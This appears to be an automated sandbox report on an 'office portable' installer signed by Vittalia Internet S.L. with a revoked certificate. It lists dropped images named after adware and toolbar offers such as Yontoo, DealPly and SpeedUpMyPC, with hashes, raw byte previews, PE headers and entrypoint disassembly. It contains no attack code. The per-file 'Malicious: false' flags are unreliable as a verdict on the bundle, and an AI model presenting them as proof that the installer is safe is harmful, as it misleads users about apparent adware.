Preview:	BM........6...(...K.............................................A......................................."...!.......$...%............... .......$...'....... ...!... ...........".........................&............................................................................................................................................................................ .................................x.G......................................................._.<......................................................(.........&.........l......5........Q....\.....\|0........{...%.....2........F.G.V.....f.....o.....u...v.!........b...k.....W.....i....{.....u...:.w...X.D...`.....&.......$..............{.....

C:\Users\user\AppData\Local\Temp\square_dealply.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 24 x 24 x 8
Category:	dropped
Size (bytes):	1650
Entropy (8bit):	5.923645928081731
Encrypted:	false
SSDEEP:	24:HmoRSrk1ollsCtikJB0QlL9DTJ8hQxp7w6JqzRl4Y1CHhIx2U5cguAI:Hmo8killrHJPL78hMpHJrLcR5cDAI
MD5:	BF3AF94325463CBDCE55169D1380AB27
SHA1:	BBDD69633DEB72B4F0D3A2D430ABDD589325ABB5
SHA-256:	CA92FA042464A3DF010C0EB7FF6C4A8D7B7DF453DD8C9F48FA523C28AC0A38FD
SHA-512:	2BA198AAF2B3390DCCC17A647A75DA836FCCFD896F65B16022F4CFD1AFD57FE7FCED2E044CF7F8B5A64CBBFB10BD2475A64454E1C7ED5F5C63CAE7E7CEAB9DFC
Malicious:	false
Preview:	BMr.......2...(...................@......................................9.Y........@.a..........r................... ......y.....C.f.$.=...#....2.Q.........].~...(.@.c..}...\|...z...w...........;.^...(.!.<.......!..z......(.D..{.............................K.-.L....C.b.....S.r.....G.j........B.V.................".?.:.S.........l.............{...E.k...8..........................6...................._.............s...~......................9.^._.y....D.f..B..>........9.N.O.w................................. .3......z...w........................y......8.Y..................J.-.N....0.P.6.X.........x....%....@.e.....................d.............~.............................3.V..&.........<.].......8...........'..............N......V.....$.6......................t.........t.....................G.i.......................7.[.<._.F.i........D.i......3.u....H..n......m............................J.h........................`.u...................

C:\Users\user\AppData\Local\Temp\square_freetwittube.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 24 x 25 x 32
Category:	dropped
Size (bytes):	2454
Entropy (8bit):	4.206482846647539
Encrypted:	false
SSDEEP:	24:p++L8hW9V6VF9rYnCOtJVS13RghILhdCCoMUuJsKiLSVKOmDXsX/huEcUuj8PeQL:ZyOgLbWPKLhgCo5SISIvLNXofL
MD5:	E2A3F499283E410E6CE00E0728676A99
SHA1:	4825B15CC651FCC8F6D70728DEC807ED70B9D916
SHA-256:	0D89CC775C4C425D3DF8307244D1A7C795E6936060B462A2B98BB185EFF72184
SHA-512:	E756EA475C1F32BA77CEA78935AA3417EC6621505DA76994F2FB6FA98DFF71829EDC7CCA7F00F77D575D50873A1E5AC07122107FE56C05C2550DB5E09E9BF417
Malicious:	false
Preview:	BM........6...(............. .....`...............................................................................................................................................ml..31......................97..ut......................................................JI......" ..'%..)'..)'..)'..)'..)'..&$..!... ...nm......................................jh..!.......$!..(&..)'..)'..)'..)'..)'..)'..)'..)'..(&..# ..IH..............................`_..&$..XV..hg..US..&$..%#..)'..)'..)'..)'..)'..)'..)'..)'..(&..$"..YX..................................................RP..&$..)'..)'..)'..)'..)'..)'..)'..)'..(&..&$..............................................ts..53..(&..)'..)'..)'..)'..)'..)'..)'..)'..)'..#!..WU......................................US..BA..(&..)'..)'..)'..)'..)'..)'..)'..)'..)'..)'..(&..$"......................................86..(&..)'..)'..)'..)'..)'..)'..)'..)'..)'..)'..)'..)'..................................VU.. ...(&..)'..)'..)'..)'..)'..)'..)'..)'..)'..)'..)'..)'..)'.. .

C:\Users\user\AppData\Local\Temp\square_lollipop.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 24 x 24 x 32
Category:	dropped
Size (bytes):	2358
Entropy (8bit):	5.863042364903565
Encrypted:	false
SSDEEP:	48:Ducqf2t+DCn41oYDAR4S//jVasluLlOQW3zflqzErrwCH7aC:Ducqfxen41oYDJSTwauL8QWpdrEG7aC
MD5:	11D93CC535227B3351A70A3C8D8DFEB1
SHA1:	CE4E0B61C3B08B984E22244A75CDBD2FB4E08584
SHA-256:	0F6C9E02384B109BD440A1D34A1928895B014F56079162B295DF55AFB73C7E29
SHA-512:	413D7C55A9F8B6267468841F608F0C1E70D25308F3A3B55BC619485AC33336E182A375177E9F32614A44A927B5C2C70D15FE9ABB7881AC2ECEA2A7A11D294345
Malicious:	false
Preview:	BM6.......6...(............. ...................................................................................................................................................................................................................................................................m..~c..}b..{g.{xu......................................................................\|M..w4..m...j,..m...q0..}:..{I...q.......................................................e..g+..U...K...Q...Y$..O...J...H...S...d(...Y.............................................}J..V...Y$..[)..d2...b..a3..V+..W..Y+..\..\&..`'..xC.......................................[..Y#..M..g2..],...X-.V#..I...G...H...L...R!..i5...\-..[$...T.................................O..v>..n9...c?..tD.\+..D...A...D...F...F...G...a1..[(..j2...P....w..........................S .o5..](..]+...d6.g2..vC...[1..b8.e2..J...L...O...g6..P...['..x?...J.........................x;..a*..Q...m<..i3..Y...g&.._...b....P%..qA..Q$..Z,..N#.T...])..{E..z<

C:\Users\user\AppData\Local\Temp\square_offerbox.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 24 x 24 x 32
Category:	dropped
Size (bytes):	2358
Entropy (8bit):	5.0941440288966096
Encrypted:	false
SSDEEP:	48:9t/FFtlurMcK8Begm199diCJ+N3O7zEBCyF315OV2fZJolnswt:f/FFbKMcKEg9lJC3O7QBHF313AF
MD5:	7D3D4791F8EFEC9B26277661CF5363B6
SHA1:	0F6C158124DFE2A0CF5E7E80CF720E961D3FF9FC
SHA-256:	317CCF5D2F6B948F4B82F1713436057E559C557177E29C59416B2064248EE07D
SHA-512:	A5D7630788F116D2037FF482AFAC58D7EC6B813C829E1682827E4AD1172FA3AF1427AFF92AC693E6F3C60D1CC7A8E62D15AC46E93DED5F72C14321B7061D9633
Malicious:	false
Preview:	BM6.......6...(............. ...................................................................................................................................~...................................................w..........."..............(...........................s.........................b....................8...........Y...................................A.....x....6..........................k...........W....................................R.....f..............................i...........W..........................................................$..............i...........W.....................i..............................F........................i...........W...............!...o............d...........i..}...y...\|...\|..z.J}&...........i...........W......................................a.1.Q{...{...\|...\|...\|..................i...........W............................................{...\|..\|...\|...{........%..

C:\Users\user\AppData\Local\Temp\square_pricepeep.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 24 x 24 x 32
Category:	dropped
Size (bytes):	2358
Entropy (8bit):	5.491229634585505
Encrypted:	false
SSDEEP:	48:y0BeaHLPNr98Sa6usFA82f3OXNnP8fZcpK:y0BLLPNZ8SjAQ90fZcpK
MD5:	0756DA2C3E9CFAA094C8DCC647D061E0
SHA1:	C97C07F8403AE26F821C9419790A08A602856735
SHA-256:	DE069BEE7D82C5D7C1C23DB3A381709D70D01251D9EBFF9F4C60EAF8B9CEA490
SHA-512:	02D47B564456EB80D15B2B88C9E05CD9A21FA67786AF02EED99A1DCC44A7403D46CF1B7CED77373CB283AF0456D30ABE134EA39C3CCD97C1DECBAD0538431FE0
Malicious:	false
Preview:	BM6.......6...(............. ..............................................................................................................................................J..K..#K.. E...A...>...;...?...5..e.................................................._...(U..&Q..%O..#L.."I..!F...B...?...<...8...5...4...........................................G..(U..'U..'T..&R..%O..#L.."J..!G...B...@...=...:..:M.......................................H..'T..'T...J..(U..'T..'R..%P..$M..#J..!G.. D...@...=..'>...................................@.(U..(U..,W.......K..(T..'U..$Q..&Q..$M..#J..!F...D...@...+.................................(U..(U..(U..o....... O..'T...M......Eg...D..#M..#K.."G...D...4...............................?.(U..'U...K..........\{..#Q..,V..............*S..Ml...C...=..!E..AW.........................(U..(U..(U.. M......+V......=d..t........B...M..%P..............$I...0..........................(U..(U..(U..Vw.......5......Gl...............N..l........?..=a.."I.......8....

C:\Users\user\AppData\Local\Temp\square_softwareupdater.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 24 x 24 x 32
Category:	dropped
Size (bytes):	2358
Entropy (8bit):	5.214213252808413
Encrypted:	false
SSDEEP:	48:tPBmRcipPY6ozbP8R99kaGWJQT+5a2jSMu9DcGo:tPA/BCbP8R92W2qSRo
MD5:	2A7C3D43B76F3BBC2FE39414F7758766
SHA1:	40C3A8F6662445C3A7FC6CCF3715BBC76666C05E
SHA-256:	EFC923AAAF7DDDF26B658B255BCF1B0D5ED6E4313EF1018F7D920558BF205518
SHA-512:	CF560B20205FC57528639D3A2D3D898BA6E2997590DF0C33C117804F1B053B84C4E54C8518EEF5081A01CE3DBB0891E9DC0F8F859AA18937E5C185802098B880
Malicious:	false
Preview:	BM6.......6...(............. .....................................................................................................................................................................................................................................................................qqq.iii.....................................................................................eP;..[...]5.hM:.........................................................................b]U.Y5..m6..o<..{:..\|? .;#..F6&.....................................................OOO.........).........+...*...+...+...-%....K...k.....................................5M>.8.L.@.J.J.H.O.H.P.G.P.C.I.C.@.C.8{;.4z;.L.P.Q.E.QK=...............................Xwc.?._.X.`.n.^.w.a.\|._...Z...V...N.t.N.b.S.W.X.P.^.`.X..i6.IzB............................n...4.z.m.......p...m.........e.......................u.^.Cl@..........................t.g...............v..................j.....................Y...a~\.......

C:\Users\user\AppData\Local\Temp\square_speedupmypc.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 24 x 24 x 32
Category:	dropped
Size (bytes):	2358
Entropy (8bit):	5.187125519557052
Encrypted:	false
SSDEEP:	24:JDropz8X9fevyhnqNGrbq68aenMF+xEGaJKAokpOA5FCaCDw34oB+q:tsV4feKhPC6LKWiEUAokpRKaCDCX
MD5:	9509B6E540749D71A1DAD4714068C567
SHA1:	AA1C211C6B725B2170F44343E698091BE62524E5
SHA-256:	546CB945E1D304D095D0C57555A444694BEC60D7160A3AA62974EE77EBB791C9
SHA-512:	DED3153B0D2BF2E30AB1BD05241F2A480AA2DDB0F525FCC216E4E4C71C1713B7A8653C33A9783703FBC3390B52C4A78AAB74874B4FED015526C6D33FD4766A8C
Malicious:	false
Preview:	BM6.......6...(............. .............................................................................................................................................................................{u..............................................................................bZ..,#..&...'...%.......63......................................................bX..=3..................&...&...'...............^X..........................................8-..#.....D...U...@.........#...(...$...................!...zv..................................3)..!...!...%.....>.!.....Q...Y."...2#..(...$..."...!...!...YU..................................2(..).....h...b.+...#...#...#.....Q.1$..0"..+ ..)...&...%...WN..................................7,..".....5.%.....i...e...J...i...].&...1"......"......+...]U..................................,$....{.........!...%...&...&...%.....r.(...../...q...w.....ha.................................&...'...'...)...,...........0!..1!..!.....r.....+...(... ...gd....

C:\Users\user\AppData\Local\Temp\toolbar_bb.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 470 x 25 x 24
Category:	dropped
Size (bytes):	35354
Entropy (8bit):	5.97032569656532
Encrypted:	false
SSDEEP:	384:VrZiqR04BGC08bNjBTkVwzs9v8JW6ry6WQu4xs3tg8maghAlvhLIkY1nMu+lf:1ZiqF4QbNtUAA8JVy6WQpqQapqe
MD5:	1687C82F77A6E033890D7FBA31F85697
SHA1:	A023733430F8E74F40DD6F70E30E05E244BFB559
SHA-256:	337FBDD5F2720646EAB2BCEE1C7BF7DFA03A2768E6E43F154F521D2CBF387240
SHA-512:	D7CEE6563A7D77AEB755E151FF5891FA9FC8047CB3F57F39600F26D4D14B8843EF23601B18FC5522AD2A463C90856D5C6605D0D244DA0126E2DB6A307AF186F8
Malicious:	false
Preview:	BM........6...(........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\toolbar_bbv2.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 470 x 25 x 24
Category:	dropped
Size (bytes):	35354
Entropy (8bit):	5.97032569656532
Encrypted:	false
SSDEEP:	384:VrZiqR04BGC08bNjBTkVwzs9v8JW6ry6WQu4xs3tg8maghAlvhLIkY1nMu+lf:1ZiqF4QbNtUAA8JVy6WQpqQapqe
MD5:	1687C82F77A6E033890D7FBA31F85697
SHA1:	A023733430F8E74F40DD6F70E30E05E244BFB559
SHA-256:	337FBDD5F2720646EAB2BCEE1C7BF7DFA03A2768E6E43F154F521D2CBF387240
SHA-512:	D7CEE6563A7D77AEB755E151FF5891FA9FC8047CB3F57F39600F26D4D14B8843EF23601B18FC5522AD2A463C90856D5C6605D0D244DA0126E2DB6A307AF186F8
Malicious:	false
Preview:	BM........6...(........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\toolbar_bbv3.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 470 x 25 x 24
Category:	dropped
Size (bytes):	35354
Entropy (8bit):	5.97032569656532
Encrypted:	false
SSDEEP:	384:VrZiqR04BGC08bNjBTkVwzs9v8JW6ry6WQu4xs3tg8maghAlvhLIkY1nMu+lf:1ZiqF4QbNtUAA8JVy6WQpqQapqe
MD5:	1687C82F77A6E033890D7FBA31F85697
SHA1:	A023733430F8E74F40DD6F70E30E05E244BFB559
SHA-256:	337FBDD5F2720646EAB2BCEE1C7BF7DFA03A2768E6E43F154F521D2CBF387240
SHA-512:	D7CEE6563A7D77AEB755E151FF5891FA9FC8047CB3F57F39600F26D4D14B8843EF23601B18FC5522AD2A463C90856D5C6605D0D244DA0126E2DB6A307AF186F8
Malicious:	false
Preview:	BM........6...(........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yontoo.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 90 x 19 x 24
Category:	dropped
Size (bytes):	5222
Entropy (8bit):	3.1807687912470537
Encrypted:	false
SSDEEP:	48:rODT23pBYeQgnze8ZbJkS1cp0h+honyRT0VHSbhKEp7S:SC1QgC8Zbyp0hsPRTiybpS
MD5:	1462BD8E8D15EF25F042241290E7E98E
SHA1:	28AF8345D5ADA1BB2F3E5AD8EDE479E4694A0CCD
SHA-256:	5D92E665BEE0A617C8D41FCDBE117384EA04435B0FB1A5FF2D4CBACB15FFD8F6
SHA-512:	941242FE9C6C098036641806CC96B2AC81FB256A9F121523C71802E7EB70E03BAD03B24B81AD5631C5CBF0DD31F55BBEAB1DAABD04ADE4E468324095AB97A50F
Malicious:	false
Preview:	BMf.......6...(...Z...............0.................................................{..............................................................................................................................................................................................................................................................................\..............e...............................................................................................................................................................................................................................................................@.................C.............................................................................................................................................................................................................................................................@...................................................................................................

C:\Users\user\AppData\Local\temp\cf2dfondo.bmp (copy) Download File
Process:	C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe
File Type:	PC bitmap, Windows 3.x format, 164 x 430 x 24
Category:	dropped
Size (bytes):	211614
Entropy (8bit):	6.371069200172247
Encrypted:	false
SSDEEP:	768:PkETKoIj+kAgXnu5kJYqCKuafYrak9avXM8bkAkek8Vbfw8kHGb2oHODHwkCIkt/:lZPJJfDG5rwBiE1vc+un
MD5:	6FE70AB0F3DFDF7EAEA3DB39C4DDC295
SHA1:	CC3012E44E04E0FE0C8185938B5995307D5D0092
SHA-256:	DDDB5F90706CD871C9553B8E296432F2A8C579A88B5DD42CD05DE9E656B6193B
SHA-512:	9F33F8512BD2EA226D2FF8AF1D61BDAA8E7087240531F72677E6ECC82BE8FFE5034B1CE22DA6BEA73CCBD159ABA28ABD33D8EA67295C92561E708CD1C435D129
Malicious:	false
Preview:	BM........6...(...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................}}}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\temp\cf2dheader.bmp (copy) Download File
Process:	C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe
File Type:	PC bitmap, Windows 3.x format, 150 x 57 x 24
Category:	dropped
Size (bytes):	25818
Entropy (8bit):	5.940260451817077
Encrypted:	false
SSDEEP:	192:7TKrXDpPuUVNS2ox8bMSejROXsFh51VbaSLqSqDiWNSe3FP41fRcQkzvJbZc9m2c:2QN4251814iscOdNGTt/
MD5:	CD3ABC8A25711B82C00B5E3264F7E24B
SHA1:	5BAF9F5A047EE7B453AFCBBA6587B6AE31472883
SHA-256:	EA0B78338DB6E6C3E1A9ACA08247ED07DB6E809D5F6CAF4127F8C474695B571C
SHA-512:	AE70A0A0A4CFA961BD0B471B3F462D70C394825689AFE82CBB2EE356B02FE42F23516CE6B4C13AE8C24BB1F2B001A56DB825F4EDFC59CB339808D150E1973248
Malicious:	false
Preview:	BM.!......6...(.......9.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\fondo.bmp Download File
Process:	C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe
File Type:	PC bitmap, Windows 3.x format, 164 x 430 x 24
Category:	dropped
Size (bytes):	211614
Entropy (8bit):	6.371069200172247
Encrypted:	false
SSDEEP:	768:PkETKoIj+kAgXnu5kJYqCKuafYrak9avXM8bkAkek8Vbfw8kHGb2oHODHwkCIkt/:lZPJJfDG5rwBiE1vc+un
MD5:	6FE70AB0F3DFDF7EAEA3DB39C4DDC295
SHA1:	CC3012E44E04E0FE0C8185938B5995307D5D0092
SHA-256:	DDDB5F90706CD871C9553B8E296432F2A8C579A88B5DD42CD05DE9E656B6193B
SHA-512:	9F33F8512BD2EA226D2FF8AF1D61BDAA8E7087240531F72677E6ECC82BE8FFE5034B1CE22DA6BEA73CCBD159ABA28ABD33D8EA67295C92561E708CD1C435D129
Malicious:	false
Preview:	BM........6...(...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................}}}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\header.bmp Download File
Process:	C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe
File Type:	PC bitmap, Windows 3.x format, 150 x 57 x 24
Category:	dropped
Size (bytes):	25818
Entropy (8bit):	5.940260451817077
Encrypted:	false
SSDEEP:	192:7TKrXDpPuUVNS2ox8bMSejROXsFh51VbaSLqSqDiWNSe3FP41fRcQkzvJbZc9m2c:2QN4251814iscOdNGTt/
MD5:	CD3ABC8A25711B82C00B5E3264F7E24B
SHA1:	5BAF9F5A047EE7B453AFCBBA6587B6AE31472883
SHA-256:	EA0B78338DB6E6C3E1A9ACA08247ED07DB6E809D5F6CAF4127F8C474695B571C
SHA-512:	AE70A0A0A4CFA961BD0B471B3F462D70C394825689AFE82CBB2EE356B02FE42F23516CE6B4C13AE8C24BB1F2B001A56DB825F4EDFC59CB339808D150E1973248
Malicious:	false
Preview:	BM.!......6...(.......9.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\icon.ico Download File
Process:	C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe
File Type:	PC bitmap, Windows 3.x format, 226 x 120 x 24
Category:	dropped
Size (bytes):	81654
Entropy (8bit):	5.4310304784401815
Encrypted:	false
SSDEEP:	384:XfDEZvIeUA0ynAde9BNKOYCt5r1zFoJCQiBnnnnqEwNbezCqaz+GzLacjeREf:MAde/YOXf7oxinnnncxezCqaz+Gzj6RC
MD5:	1E09540980C4B6534E49EF892A018BB0
SHA1:	F6854DF7A7BD736C18B24F8CFA2A3C10416F200A
SHA-256:	62BF0A489A265718E8AFBFCE126970202E6A10D05C70690EF32A202608F6C68E
SHA-512:	2C0A1EFD8E18BF0E1F567B576BBCABEDF4693288608206F444DBECFB231F7019D1D3C534A1C809D6B85251411F1301A3ABE929F768421AD98EE2742AF6E33CD1
Malicious:	false
Preview:	BM.>......6...(.......x............>........................{{{iiikkknnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnlllhhhvvv...........hhh....................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\loader64.gif Download File
Process:	C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe
File Type:	GIF image data, version 89a, 220 x 19
Category:	dropped
Size (bytes):	12370
Entropy (8bit):	7.67709054366215
Encrypted:	false
SSDEEP:	384:lVdOHctjUukNRovL0E4WIcoxeySa7ayKi:xy8iNR0AE43cCJaVi
MD5:	502FFE8B0FBAD126FE15E22D96A9B382
SHA1:	F6A9D59E82F5670E6B03B91B6435F07472E09E89
SHA-256:	7D5B97590D5A6AD3E0A0C3BC2774EB77CC5DCB9C6DDDC9A5A6AED9E8B8BFDE30
SHA-512:	1F97B39FD66EEC8039DA0D39B7FAB5BFE30BF88D86C6E33CBFD05DE6045F719C611F23A766B1BA7DA1BB87FA06B2216E302BB5A4D53A2CFCB47B11778CC3DD49
Malicious:	false
Preview:	GIF89a..........$a..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!..NETSCAPE2.0.....!.......,...............H......\....#J.H....3j.... C..I.....R.\...0c.I...8s.9@@C...80.(......s..'..e. .......)V.H.n..U.X.X..E{U.._.N}.wCX...u..n.T..-.saO..*`P.@.c...k...2..D.:.l.r..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.737456253081966
TrID:	Win32 Executable (generic) a (10002005/4) 92.16% NSIS - Nullsoft Scriptable Install System (846627/2) 7.80% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	installer_office_portable_3_2_0_Italian.exe
File size:	1387312
MD5:	e6c1f02adf7a41957e63adcaf186e390
SHA1:	63ae3fd8d773719e557eda9f26280a6bdde8bcb1
SHA256:	7b4e6068fd889c7f6b603d1a4f1b58eb9f2fc3350ae571fefb185b5a6a1b78db
SHA512:	d7a048185889c6a6fab834373cd1f9da4e75435becca51a1fbe6b0664946ac0f3fe6880f708db6807ddf0737b0462bbb7b45a630ffe5195dd408cb84c068e2b8
SSDEEP:	24576:J9WC988bu6CoI3QOz82LEaXZK8mLE3YbguLQNkXqSM0s94Vlkq:JB88TCoCz82dXY8mKmwkXH+ySq
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(*.ulKm&lKm&lKm&...&wKm&...&)Km&...&.Km&e3.&gKm&lKl&.Km& ..&hKm& ..&mKm&lK.&mKm& ..&mKm&RichlKm&........PE..L......P...........

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x40e39a
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x50BDB3FF [Tue Dec 4 08:27:43 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	293ac1c0edc32dafc8c4aadf9e557064

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=VeriSign Class 3 Code Signing 2010 CA, OU=Terms of use at https://www.verisign.com/rpa (c)10, OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US
Signature Validation Error:	A certificate was explicitly revoked by its issuer
Error Number:	-2146762484
Not Before, Not After	6/4/2012 5:00:00 PM 5/8/2013 4:59:59 PM
Subject Chain	CN=Vittalia Internet S.L., OU=Digital ID Class 3 - Microsoft Software Validation v2, O=Vittalia Internet S.L., L=Mostoles, S=Madrid, C=ES
Version:	3
Thumbprint MD5:	5712082086380ACC25D03672C06E76A6
Thumbprint SHA-1:	62940BCAA417F42329C05451CDF0088772BC7162
Thumbprint SHA-256:	7250F1E0A8B2DC20FFB651929A1D1823FD51F595EE457EC1A57D72A1B657C443
Serial:	7952CFD9EF040B59F3C140BA1DA97A60

Entrypoint Preview

Instruction
call 00007F0B8CAD5712h
jmp 00007F0B8CACCE85h
push 00000014h
push 0042D1B8h
call 00007F0B8CAD25D5h
call 00007F0B8CACF7B7h
movzx esi, ax
push 00000002h
call 00007F0B8CAD56A5h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F0B8CACCE86h
xor ebx, ebx
jmp 00007F0B8CACCEB5h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F0B8CACCE6Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F0B8CACCE5Fh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F0B8CACCE8Bh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F0B8CAD2BE3h
test eax, eax
jne 00007F0B8CACCE8Ah
push 0000001Ch
call 00007F0B8CACCF61h
pop ecx
call 00007F0B8CAD3B0Bh
test eax, eax
jne 00007F0B8CACCE8Ah
push 00000010h
call 00007F0B8CACCF50h
pop ecx
call 00007F0B8CAD571Ch
and dword ptr [ebp-04h], 00000000h
call 00007F0B8CAD3CD1h
test eax, eax
jns 00007F0B8CACCE8Ah
push 0000001Bh
call 00007F0B8CACCF36h
pop ecx
call dword ptr [0042412Ch]
mov dword ptr [00431C94h], eax
call 00007F0B8CAD5737h
mov dword ptr [00430F4Ch], eax
call 00007F0B8CAD52F8h
test eax, eax
jns 00007F0B8CACCE8Ah

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2dfc0	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x33000	0x1bfd8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x151540	0x15f0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4f000	0x1eb0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x24270	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2c4c0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x24000	0x200	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x22dbd	0x22e00	False	0.5536234319	data	6.60154835933	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x24000	0xab22	0xac00	False	0.388603742733	data	4.6654296668	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2f000	0x3ca0	0x1c00	False	0.30859375	data	3.68590589961	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x33000	0x1bfd8	0x1c000	False	0.267613002232	data	6.23800303711	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4f000	0x8a6e	0x8c00	False	0.174162946429	data	2.13602906019	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x33270	0x25a8	data
RT_ICON	0x35830	0x25a8	data
